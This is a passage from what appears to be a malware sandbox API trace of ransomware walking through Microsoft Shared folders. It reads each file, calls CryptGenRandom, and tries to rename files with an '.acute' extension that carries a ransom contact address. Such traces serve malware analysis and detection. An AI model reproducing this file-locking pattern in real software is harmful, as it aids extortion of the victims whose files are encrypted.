(normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.015] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.015] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0273.015] CloseHandle (hObject=0x30c) returned 1 [0273.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui")) returned 0x20 [0273.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.015] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.129] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0273.129] CloseHandle (hObject=0x30c) returned 1 [0273.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0273.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.129] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.129] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=3584) returned 1 [0273.129] CloseHandle (hObject=0x30c) returned 1 [0273.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0273.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.130] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.249] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=110592) returned 1 [0273.252] CloseHandle (hObject=0x368) returned 1 [0273.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll")) returned 0x20 [0273.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.270] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.533] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=72521600) returned 1 [0273.533] CloseHandle (hObject=0x368) returned 1 [0273.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll")) returned 0x20 [0273.533] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.533] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll")) returned 0 [0273.533] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.533] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1269648) returned 1 [0273.533] CloseHandle (hObject=0x368) returned 1 [0273.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll")) returned 0x20 [0273.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.534] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.534] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=56144) returned 1 [0273.534] CloseHandle (hObject=0x368) returned 1 [0273.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 0x20 [0273.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.535] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.538] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=121168) returned 1 [0273.538] CloseHandle (hObject=0x368) returned 1 [0273.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 0x20 [0273.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.538] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.538] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=56192) returned 1 [0273.538] CloseHandle (hObject=0x368) returned 1 [0273.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll")) returned 0x20 [0273.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.539] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.569] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1198464) returned 1 [0273.569] CloseHandle (hObject=0x368) returned 1 [0273.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 0x20 [0273.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.569] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.569] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=705392) returned 1 [0273.569] CloseHandle (hObject=0x368) returned 1 [0273.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 0x20 [0273.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.569] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.570] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=6747) returned 1 [0273.570] CloseHandle (hObject=0x368) returned 1 [0273.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 0x20 [0273.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.574] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.575] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=24976) returned 1 [0273.575] CloseHandle (hObject=0x368) returned 1 [0273.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 0x20 [0273.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.575] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0273.856] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=232840) returned 1 [0273.856] CloseHandle (hObject=0x308) returned 1 [0273.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 0x20 [0273.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.856] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.883] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=15744) returned 1 [0273.883] CloseHandle (hObject=0x378) returned 1 [0273.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe")) returned 0x20 [0273.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.884] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.884] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=174440) returned 1 [0273.884] CloseHandle (hObject=0x378) returned 1 [0273.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0273.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.884] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0273.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.884] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=146808) returned 1 [0273.884] CloseHandle (hObject=0x378) returned 1 [0273.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll")) returned 0x20 [0273.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 